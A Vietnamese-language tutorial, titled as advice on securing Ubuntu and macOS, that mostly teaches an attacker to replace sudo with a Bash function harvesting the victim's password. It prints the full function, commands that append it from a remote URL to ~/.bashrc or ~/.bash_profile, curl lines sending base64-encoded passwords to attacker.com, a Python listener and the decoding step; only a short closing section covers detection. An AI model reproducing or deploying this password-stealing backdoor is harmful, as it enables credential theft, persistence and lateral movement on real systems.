cách bảo mật ubuntu và macos

Sau khi khai thác một hệ thống, người kiểm tra thâm nhập và tin tặc thường sẽ bắt đầu các cuộc tấn công đặc quyền (privec). Các cuộc tấn công như vậy bao gồm khai thác kernel và lừa đảo mật khẩu . Cuộc tấn công đặc trưng ở đây có một cách tiếp cận kỹ thuật xã hội bằng cách sử dụng các hàm Bash để mô phỏng chức năng của lệnh sudo .

Làm thế nào Sudo được cho là làm việc

Chúng ta hãy sử dụng các lệnh whoami và id sau đây làm ví dụ. Nếu chúng ta nhập whoami vào một thiết bị đầu cuối, nó sẽ trả về tên người dùng hiện tại.

~$ whoami

tokyoneon

Với lệnh id , nó sẽ trả về uid ( -u ) của người dùng , một mã định danh duy nhất được gán cho mỗi người dùng trên hệ thống. Theo mặc định, trong các hệ thống Debian và Ubuntu, một người dùng bình thường (người dùng không phải root) được gán uid 1000 (hiển thị bên dưới). Tương tự, trong macOS, một người dùng bình thường được gán 501 uid.

~$ id -u

1000

Khi được chuẩn bị trước, sudo nâng lên và thực thi lệnh được cung cấp với các đặc quyền gốc (uid 0). Đây là tất cả các hành vi tiêu chuẩn và bình thường cho các hệ thống sudo và Unix.

~$ sudo id -u

0

Lệnh type có thể được sử dụng để xác định cách lệnh được cung cấp được trình diễn bởi shell.

~$ type sudo

sudo is /usr/bin/sudo

Trong trường hợp này, sudo được hiểu là / usr / bin / sudo. Đây cũng là hành vi tiêu chuẩn. Khi ai đó thực thi lệnh sudo (ví dụ: sudo whoami ), về cơ bản họ đang thực hiện các thao tác sau.

~$ /usr/bin/sudo /usr/bin/whoami

root

Chức năng của Bash hoạt động như thế nào

Cách sudo (hoặc bất kỳ lệnh nào cho vấn đề đó) được diễn giải có thể được sửa đổi theo cách minh bạch cho người dùng. Giống như bí danh Bash , các hàm phức tạp có thể được nhập vào trình bao. Lấy GIF dưới đây làm ví dụ.

Chúng ta có thể thấy việc chạy một lệnh cập nhật apt-get thông thường không thành công vì “sudo” không còn được hiểu là một liên kết trực tiếp đến nhị phân sudo thực. Bây giờ nó là một chức năng in một số văn bản tùy ý. Điều này rất dễ bị lạm dụng. Hàm “sudo” có thể hoạt động chính xác như sudo thật, trong khi ghi và xóa mật khẩu của mục tiêu.

Bạn nên có quyền truy cập từ xa

Bài viết này giả định truy cập từ xa vào hệ thống đích đã được thiết lập. Với các mục tiêu macOS, điều này có thể được thực hiện với tải trọng không thể phát hiện , tấn công thả USB hoặc USB Rubber Ducky . Các máy chủ Ubuntu và Debian cũng có thể khai thác bằng nhiều lỗ hổng SSH và máy chủ khác nhau .

Bước 1 Tạo Hàm Bash độc hại

Loại lạm dụng này được thể hiện tốt hơn trong các chức năng dưới đây. Nhận xét đã được thêm vào màu xanh lá cây để giải thích tầm quan trọng của từng dòng.

function sudo () {
  # A "realsudo" variable is created. It calls the `which` command to locate
  # the path to the real sudo binary. This is used later in the function to
  # execute the target's desired command.
  realsudo="$(which sudo)"

  # The `read` command will prompt (`-p`) the target with a convincing password
  # request. The `-s` argument hides the input password, just as the real
  # sudo command would. The target password is then set in the "inputPasswd"
  # variable.
  read -s -p "[sudo] password for $USER: " inputPasswd

  # There are two `printf` commands here, separated by a semicolon.
  # The first simply prints a new line in the terminal, as the real sudo
  # does. The second writes the target's username and password to a
  # file called "hackedPasswd.txt" in the /tmp directory.
  printf "\n"; printf '%s\n' "$USER : $inputPasswd" >/tmp/hackedPasswd.txt

  # As an alternative to writing the password to the /tmp directory,
  # it can be exfiltrated to the attacker's server. Uncomment the below
  # "encoded" and "curl" lines to enable this function. The password
  # is encoded with `base64` to make it easier to transmit in the URL.
  # encoded=$(printf '%s' "$inputPasswd" | base64) >/dev/null 2>&1
  # curl -s "http://attacker.com/$USER:$encoded" >/dev/null 2>&1

  # The `-S` option allows users to input their sudo password using the command
  # line. This is used to run an arbitrary `exit` command (`-c`) as the root
  # user (`-u`) to unlock the sudo timeout function. This command and its
  # output are hidden (/dev/null) from the target. It's only here to allow
  # sudo usage for future commands.
  # For more on sudo timeouts and /dev/null, see:
  # https://itsfoss.com/change-sudo-password-timeout-ubuntu/
  # https://stackoverflow.com/questions/10508843/what-is-dev-null-21
  $realsudo -S <<< "$inputPasswd" -u root bash -c "exit" >/dev/null 2>&1

  # With the sudo timeout engaged, privileged commands can be run without
  # prompting the user for a password. This line will execute the target's
  # desired command.
  $realsudo "${@:1}"
}

Chúng ta hãy xem làm thế nào chức năng này xuất hiện cho mục tiêu.

Như chúng ta có thể thấy, mục tiêu vẫn được nhắc với yêu cầu mật khẩu khi cố gắng cài đặt phần mềm. Nhìn kỹ hơn với loại cho thấy chức năng độc hại. Mật khẩu đã chụp được lưu vào tệp /tmp/hackedPasswd.txt.

Tùy chọn 1 Nhắm mục tiêu Hệ thống Debian & Ubuntu

Với các hệ thống Debian và Ubuntu, khi một thiết bị đầu cuối hoặc vỏ mới được mở, tệp ~ / .bashrc được thực thi. Tệp này (có thể được sửa đổi bởi người dùng không phải root) thường xác định các thuộc tính hữu ích như bí danh, giới hạn lịch sử và biến màu. Nó cũng có thể bị lạm dụng để nhập các hàm Bash độc hại. Điều này đúng với máy chủ Debian, máy tính để bàn Ubuntu và hệ thống macOS.

Để thuận tiện, tôi đã tải chức năng sudo độc hại lên trang GitHub của mình. Nó có thể được tải xuống hệ thống của mục tiêu bằng lệnh bên dưới.

~$ curl 'https://git.io/fhNWm' >> ~/.bashrc

Điều này sẽ nối ( >> ) chức năng sudo vào cuối tệp .bashrc của mục tiêu. Từ đây trở đi, khi mục tiêu đăng nhập vào máy chủ của họ (ví dụ: SSH) và thực thi lệnh sudo , mật khẩu đã gửi sẽ được lưu vào thư mục / tmp. Ngoài ra, nếu curl không được cài đặt trên hệ thống đích, wget có thể được sử dụng.

~$ wget -O- 'https://git.io/fhNWm' >> ~/.bashrc

Tùy chọn 2 Hệ thống macOS mục tiêu

Kiểu tấn công này ít hiệu quả hơn đối với người dùng macOS. Đơn giản là vì họ không có khả năng mở một thiết bị đầu cuối và thực hiện các lệnh nâng cao. Người dùng MacOS không cần lệnh sudo thường xuyên như các mục tiêu VPS hoặc người dùng máy tính để bàn Ubuntu. Tuy nhiên, tôi sẽ chỉ cho bạn cách thiết lập mục tiêu này với mục tiêu macOS vì nó có thể hữu ích cho một số người thử nghiệm thâm nhập khám phá mọi tuyến đường có thể để nâng cao cửa hậu của họ.

Giống như ~ / .bashrc, các hệ thống macOS thực thi tệp ~ / .bash__profile khi Terminal được mở. Các hàm Bash độc hại có thể được lưu trữ trong tệp này. Sử dụng lệnh wget dưới đây để nhập hàm vào hồ sơ Bash của mục tiêu.

~$ wget -O- 'https://git.io/fhNWm' >> ~/.bash_profile

Khi mục tiêu mở Terminal và thực thi lệnh sudo , mật khẩu sẽ được lưu trong thư mục / tmp. Điều này được minh họa trong ảnh chụp màn hình dưới đây.

thực thi lệnh sudo

Bước 2 Thực hiện mật khẩu (Tùy chọn)

Ngoài việc lưu mật khẩu vào thư mục / tmp, có thể bạn muốn gửi mật khẩu đến một máy tính hoặc máy chủ khác. Một trình nghe PHP thích hợp có thể được thiết lập để chặn dữ liệu POST một cách duyên dáng có chứa mật khẩu.

Tôi quyết định thực hiện một cách tiếp cận hơi không chính thống và đưa ra giải pháp nhanh chóng và bẩn thỉu. Phương pháp này yêu cầu máy chủ Python3 đơn giản được thiết lập trên hệ thống Kali của kẻ tấn công. Các http.server mô-đun ( -m ) sẽ tạo ra một máy chủ web sử dụng cổng 80 .

~$ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 ...

Có các lệnh để mã hóa và lọc các mật khẩu được ghi vào  hàm sudo . Nó bị tắt theo mặc định và cần được bỏ sót để kích hoạt nó.

encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;

Mật khẩu được mã hóa với base64 để giúp gửi URL dễ dàng hơn. Curl được sử dụng để âm thầm ( -s ) thực hiện yêu cầu GET trên máy chủ của kẻ tấn công nằm trong miền “Kẻ tấn công.com”. Tên miền này nên được thay đổi thành địa chỉ IP cục bộ của kẻ tấn công (192.168.1.X) hoặc địa chỉ IP VPS. Lỗi và đầu ra được tạo bởi lệnh curl được buộc vào / dev / null với chuyển hướng 2> & 1 . Điều này ngăn việc curl vô tình báo cáo lỗi trong thiết bị đầu cuối nếu máy chủ của kẻ tấn công vì một số lý do không thể truy cập được.

Tên người dùng và mật khẩu của mục tiêu thực sự được gửi trong URL. Hãy tưởng tượng thực hiện một yêu cầu tới “http: //192.168.1.X/tokyoneon: sUp3R-S3cUre_P @ $$ w0000rD!.” Yêu cầu chắc chắn sẽ thất bại, không có trang web như vậy. Tuy nhiên, mật khẩu được mã hóa sẽ được lưu trong nhật ký lỗi của kẻ tấn công. Dưới đây là một ví dụ về một lỗi như vậy.

Serving HTTP on 0.0.0.0 port 80 ...
127.0.0.1 - - [27/Feb/2019 00:05:12] code 404, message File not found
127.0.0.1 - - [27/Feb/2019 00:05:12] "GET /user:c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ== HTTP/1.1" 404 -

Đơn giản chỉ cần lặp lại mật khẩu được mã hóa vào base64 để giải mã ( -d ) nó.

~$ echo 'c1VwM1ItUzNjVXJlX1BAJCR3MDAwMHJEIQ==' | base64 -d

sUp3R-S3cUre_P@$$w0000rD!

Làm thế nào để bảo vệ chống lạm dụng chức năng Bash

Các hàm Bash độc hại có thể khó phát hiện. Nếu có kẻ tấn công trên hệ thống của bạn sửa đổi tệp ~ / .bashrc hoặc ~ / .bash_profile, bạn có thể gặp vấn đề lớn hơn .

Như chúng ta đã học trước đó, lệnh type là một công cụ cực kỳ hữu ích. Nó có thể được sử dụng để in giải thích shell lệnh được cung cấp. Các lệnh như sudo chỉ nên gọi nhị phân thích hợp hoặc đôi khi sẽ xuất hiện dưới dạng ” băm ” trong phiên. Tất cả các điều kiện khác nên được điều tra.

~$ type sudo

sudo is /usr/bin/sudo

Bạn cũng nên kiểm tra thủ công tệp ~ / .bashrc. Hacker thường sẽ sử dụng tệp này để nhúng các cửa hậu liên tục vào các hệ thống Unix (ví dụ: thử kết nối Netcat mới mỗi khi thiết bị đầu cuối được mở). Điều này có thể được thực hiện với nano hoặc vim .

~$ nano ~/.bashrc

Suy nghĩ cuối cùng

Loại tấn công kỹ thuật xã hội này có nhiều ứng dụng. Ví dụ, các chức năng tương tự có thể được tạo cho ssh và các giao thức quản trị từ xa khác. Kẻ tấn công có thể đánh cắp thông tin đăng nhập SSH và xoay vòng sang các hệ thống khác trong phạm vi kiểm soát của mục tiêu. Tương tự như vậy, một chức năng độc hại cho lệnh su có thể được tạo. Lệnh này, giống như sudo , được thiết kế để nâng cao đặc quyền của người dùng và có thể dễ dàng bắt chước bằng các hàm Bash đơn giản.

Trả lời